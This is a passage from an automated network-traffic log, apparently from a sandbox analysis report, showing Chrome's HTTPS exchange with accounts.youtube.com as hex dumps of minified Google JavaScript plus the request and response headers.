2024-09-28 23:02:41 UTC	1979	IN	Data Raw: 61 73 28 61 29 26 26 28 62 3d 61 2e 43 29 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 63 5d 3b 69 66 28 63 3d 3d 3d 62 2e 6c 65 6e 67 74 68 2d 31 26 26 41 28 64 29 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 7b 76 61 72 20 66 3d 64 5b 65 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 66 29 26 26 0a 52 61 28 66 2c 61 29 7d 65 6c 73 65 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 64 29 26 26 52 61 28 64 2c 61 29 7d 61 3d 45 3f 61 2e 43 3a 4d 61 28 61 2e 43 2c 50 61 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 21 31 29 3b 65 3d 21 45 3b 69 66 28 62 3d 61 2e 6c 65 6e 67 74 68 29 7b 64 3d 61 5b 62 2d 31 5d 3b 28 66 3d 41 28 64 29 29 3f 62 2d 2d 3a 64 3d 76 6f 69 64 20 30 3b 63 3d 61 3b 69 Data Ascii: as(a)&&(b=a.C))for(var c=0;c<b.length;c++){var d=b[c];if(c===b.length-1&&A(d))for(var e in d){var f=d[e];Array.isArray(f)&&Ra(f,a)}else Array.isArray(d)&&Ra(d,a)}a=E?a.C:Ma(a.C,Pa,void 0,void 0,!1);e=!E;if(b=a.length){d=a[b-1];(f=A(d))?b--:d=void 0;c=a;i
2024-09-28 23:02:41 UTC	1979	IN	Data Raw: 3d 53 79 6d 62 6f 6c 28 22 63 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 22 41 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 57 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 46 28 64 2e 70 72 6f 74 6f Data Ascii: =Symbol("c");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=Wa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&F(d.proto
2024-09-28 23:02:41 UTC	1979	IN	Data Raw: 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e 67 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6b 29 7b 6b 3d 48 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 49 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e Data Ascii: h=0,g=function(k){this.g=(h+=Math.random()+1).toString();if(k){k=H(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};g.prototype.set=function(k,l){if(!c(k))throw Error("i");d(k);if(!I(k,f))throw Error("j`"+k);k[f][this.g]=l;return this};g.
2024-09-28 23:02:42 UTC	1979	IN	Data Raw: 68 69 73 2e 65 6e 74 72 69 65 73 28 29 2c 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 0a 6d 2e 76 61 6c 75 65 2c 67 2e 63 61 6c 6c 28 6b 2c 6d 5b 31 5d 2c 6d 5b 30 5d 2c 74 68 69 73 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 Data Ascii: his.entries(),m;!(m=l.next()).done;)m=m.value,g.call(k,m[1],m[0],this)};c.prototype[Symbol.iterator]=c.prototype.entries;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if
2024-09-28 23:02:42 UTC	1979	IN	Data Raw: 61 72 20 66 62 3d 66 62 7c 7c 7b 7d 2c 71 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 67 62 3d 71 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 68 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 71 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 2c 69 62 3d 22 63 6c 6f 73 75 72 65 5f 75 69 64 5f 22 2b 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 31 45 39 3e 3e 3e 30 29 2c 6a 62 3d 30 2c 6b 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 61 2e 62 69 6e 64 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c Data Ascii: ar fb=fb\|\|{},q=this\|\|self,gb=q._F_toggles\|\|[],hb=function(a){a=a.split(".");for(var b=q,c=0;c<a.length;c++)if(b=b[a[c]],b==null)return null;return b},ib="closure_uid_"+(Math.random()*1E9>>>0),jb=0,kb=function(a,b,c){return a.call.apply(a.bind,arguments)},
2024-09-28 23:02:42 UTC	1979	IN	Data Raw: 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 71 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 26 64 28 66 2c 68 2c 67 2c 6b 2c 6c 29 3b 61 28 7b 6d 65 73 73 61 67 65 3a 66 2c 66 69 6c 65 4e 61 6d 65 3a 68 2c 6c 69 6e 65 3a 67 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 67 2c 63 61 3a 6b 2c 65 72 72 6f 72 3a 6c 7d 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 74 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 68 62 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 22 29 3b 61 3d 3d 6e 75 6c 6c 26 26 28 61 3d 27 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 74 79 70 65 20 22 6e 75 6c 6c 2f 75 6e 64 65 66 69 6e 65 64 22 27 29 3b Data Ascii: (a,b,c){c=c\|\|q;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&&d(f,h,g,k,l);a({message:f,fileName:h,line:g,lineNumber:g,ca:k,error:l});return e}},tb=function(a){var b=hb("window.location.href");a==null&&(a='Unknown Error of type "null/undefined"');
2024-09-28 23:02:42 UTC	1979	IN	Data Raw: 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c 65 6e 67 74 68 3e 34 30 26 26 28 66 3d 66 2e 73 6c 69 63 65 28 30 2c 34 30 29 2b 22 2e 2e 2e 22 29 3b 63 2e 70 75 73 68 28 66 29 7d 62 2e 70 75 73 68 28 61 29 3b 63 2e 70 75 73 68 28 22 29 5c 6e 22 29 3b 74 72 79 7b 63 2e 70 75 73 68 28 77 62 28 61 2e 63 61 6c 6c 65 72 2c 62 29 29 7d 63 61 74 63 68 28 68 29 7b 63 2e 70 75 73 68 28 22 5b 65 78 63 65 70 74 69 6f 6e 20 74 72 79 69 6e 67 20 74 6f 20 67 65 74 20 63 61 6c 6c 65 72 5d 5c 6e 22 29 7d 7d 65 6c 73 65 20 61 3f 63 2e 70 75 73 68 28 22 5b 2e 2e 2e 6c 6f 6e 67 20 73 74 61 63 6b 2e 2e 2e 5d 22 29 3a 63 2e 70 75 73 68 28 22 5b 65 6e 64 5d 22 29 3b 72 65 74 75 72 6e 20 63 2e 6a Data Ascii: (f))?f:"[fn]";break;default:f=typeof f}f.length>40&&(f=f.slice(0,40)+"...");c.push(f)}b.push(a);c.push(")\n");try{c.push(wb(a.caller,b))}catch(h){c.push("[exception trying to get caller]\n")}}else a?c.push("[...long stack...]"):c.push("[end]");return c.j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49771	172.217.16.206	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:41 UTC	1153	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-2097603244&timestamp=1727564560305 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:42 UTC	1978	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UP-WAfmEXIl5q1_qt_-rVQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 28 Sep 2024 23:02:42 GMT Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjctDikmJw1pBikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6yXuy-xXgdi1Z5LrKZAXCRxhbUJiIW4OSZNe7SdTeBF71opJb2k_ML4zJTUvJLMksqU_NzEzLzk_PzszNTi4tSistSieCMDIxMDSyMjPQOL-AIDAE-sMHk" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 37 36 32 30 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 55 50 2d 57 41 66 6d 45 58 49 6c 35 71 31 5f 71 74 5f 2d 72 56 51 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7620<html><head><script nonce="UP-WAfmEXIl5q1_qt_-rVQ">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 37 2e 30 22 3a 61 3d 22 31 31 2e 30 22 7d 65 6c 73 65 20 61 3d 22 37 2e 30 22 3b 65 6c 73 65 20 61 3d 63 5b 31 5d 3b 62 3d 61 7d 65 6c 73 65 20 62 3d 22 22 3b 72 65 74 75 72 6e 20 62 7d 76 61 72 20 64 3d 52 65 67 45 78 70 28 22 28 5b 41 2d 5a 5d 5b 5c 5c 77 20 5d 2b 29 2f 28 5b 5e 5c 5c 73 5d 2b 29 5c 5c 73 2a 28 3f 3a 5c 5c 28 28 2e 2a 3f 29 5c 5c 29 29 Data Ascii: (\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s(?:\$(.?)\$)
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 20 22 6e 75 6d 62 65 72 22 3a 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 61 29 3f 61 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 69 67 69 6e 74 22 3a 72 65 74 75 72 6e 28 41 61 3f 0a 61 3e 3d 42 61 26 26 61 3c 3d 43 61 3a 61 5b 30 5d 3d 3d 3d 22 2d 22 3f 75 61 28 61 2c 44 61 29 3a 75 61 28 61 2c 45 61 29 29 3f 4e 75 6d 62 65 72 28 61 29 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 72 65 74 75 72 6e 20 61 3f 31 3a 30 3b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 69 66 28 61 29 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 69 66 28 43 28 61 29 29 72 65 74 75 72 6e 7d 65 6c 73 65 20 69 66 28 46 61 26 26 61 21 3d 6e 75 6c 6c 26 26 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 Data Ascii: "number":return isFinite(a)?a:String(a);case "bigint":return(Aa?a>=Ba&&a<=Ca:a[0]==="-"?ua(a,Da):ua(a,Ea))?Number(a):String(a);case "boolean":return a?1:0;case "object":if(a)if(Array.isArray(a)){if(C(a))return}else if(Fa&&a!=null&&a instanceof Uint8Arra
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 62 2e 68 61 73 28 61 29 26 26 28 62 3d 61 2e 43 29 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 63 5d 3b 69 66 28 63 3d 3d 3d 62 2e 6c 65 6e 67 74 68 2d 31 26 26 41 28 64 29 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 7b 76 61 72 20 66 3d 64 5b 65 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 66 29 26 26 0a 52 61 28 66 2c 61 29 7d 65 6c 73 65 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 64 29 26 26 52 61 28 64 2c 61 29 7d 61 3d 45 3f 61 2e 43 3a 4d 61 28 61 2e 43 2c 50 61 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 21 31 29 3b 65 3d 21 45 3b 69 66 28 62 3d 61 2e 6c 65 6e 67 74 68 29 7b 64 3d 61 5b 62 2d 31 5d 3b 28 66 3d 41 28 64 29 29 3f 62 2d 2d 3a 64 3d 76 6f 69 64 20 30 3b 63 3d Data Ascii: b.has(a)&&(b=a.C))for(var c=0;c<b.length;c++){var d=b[c];if(c===b.length-1&&A(d))for(var e in d){var f=d[e];Array.isArray(f)&&Ra(f,a)}else Array.isArray(d)&&Ra(d,a)}a=E?a.C:Ma(a.C,Pa,void 0,void 0,!1);e=!E;if(b=a.length){d=a[b-1];(f=A(d))?b--:d=void 0;c=
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 20 61 3b 61 3d 53 79 6d 62 6f 6c 28 22 63 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 22 41 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 57 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 46 28 64 2e 70 Data Ascii: a;a=Symbol("c");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=Wa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&F(d.p
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 29 3b 76 61 72 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e 67 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6b 29 7b 6b 3d 48 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 49 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: );var h=0,g=function(k){this.g=(h+=Math.random()+1).toString();if(k){k=H(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};g.prototype.set=function(k,l){if(!c(k))throw Error("i");d(k);if(!I(k,f))throw Error("j`"+k);k[f][this.g]=l;return thi
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 61 72 20 6c 3d 74 68 69 73 2e 65 6e 74 72 69 65 73 28 29 2c 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 0a 6d 2e 76 61 6c 75 65 2c 67 2e 63 61 6c 6c 28 6b 2c 6d 5b 31 5d 2c 6d 5b 30 5d 2c 74 68 69 73 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d Data Ascii: ar l=this.entries(),m;!(m=l.next()).done;)m=m.value,g.call(k,m[1],m[0],this)};c.prototype[Symbol.iterator]=c.prototype.entries;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0]
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 62 29 7d 7d 29 3b 76 61 72 20 66 62 3d 66 62 7c 7c 7b 7d 2c 71 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 67 62 3d 71 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 68 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 71 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 2c 69 62 3d 22 63 6c 6f 73 75 72 65 5f 75 69 64 5f 22 2b 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 31 45 39 3e 3e 3e 30 29 2c 6a 62 3d 30 2c 6b 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 61 2e 62 69 6e 64 2c 61 72 67 75 6d Data Ascii: b)}});var fb=fb\|\|{},q=this\|\|self,gb=q._F_toggles\|\|[],hb=function(a){a=a.split(".");for(var b=q,c=0;c<a.length;c++)if(b=b[a[c]],b==null)return null;return b},ib="closure_uid_"+(Math.random()*1E9>>>0),jb=0,kb=function(a,b,c){return a.call.apply(a.bind,argum
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 71 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 26 64 28 66 2c 68 2c 67 2c 6b 2c 6c 29 3b 61 28 7b 6d 65 73 73 61 67 65 3a 66 2c 66 69 6c 65 4e 61 6d 65 3a 68 2c 6c 69 6e 65 3a 67 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 67 2c 63 61 3a 6b 2c 65 72 72 6f 72 3a 6c 7d 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 74 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 68 62 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 22 29 3b 61 3d 3d 6e 75 6c 6c 26 26 28 61 3d 27 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 74 79 70 65 20 22 6e 75 6c 6c 2f 75 6e 64 65 66 Data Ascii: function(a,b,c){c=c\|\|q;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&&d(f,h,g,k,l);a({message:f,fileName:h,line:g,lineNumber:g,ca:k,error:l});return e}},tb=function(a){var b=hb("window.location.href");a==null&&(a='Unknown Error of type "null/undef
2024-09-28 23:02:42 UTC	1978	IN	Data Raw: 22 3a 66 3d 28 66 3d 73 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c 65 6e 67 74 68 3e 34 30 26 26 28 66 3d 66 2e 73 6c 69 63 65 28 30 2c 34 30 29 2b 22 2e 2e 2e 22 29 3b 63 2e 70 75 73 68 28 66 29 7d 62 2e 70 75 73 68 28 61 29 3b 63 2e 70 75 73 68 28 22 29 5c 6e 22 29 3b 74 72 79 7b 63 2e 70 75 73 68 28 77 62 28 61 2e 63 61 6c 6c 65 72 2c 62 29 29 7d 63 61 74 63 68 28 68 29 7b 63 2e 70 75 73 68 28 22 5b 65 78 63 65 70 74 69 6f 6e 20 74 72 79 69 6e 67 20 74 6f 20 67 65 74 20 63 61 6c 6c 65 72 5d 5c 6e 22 29 7d 7d 65 6c 73 65 20 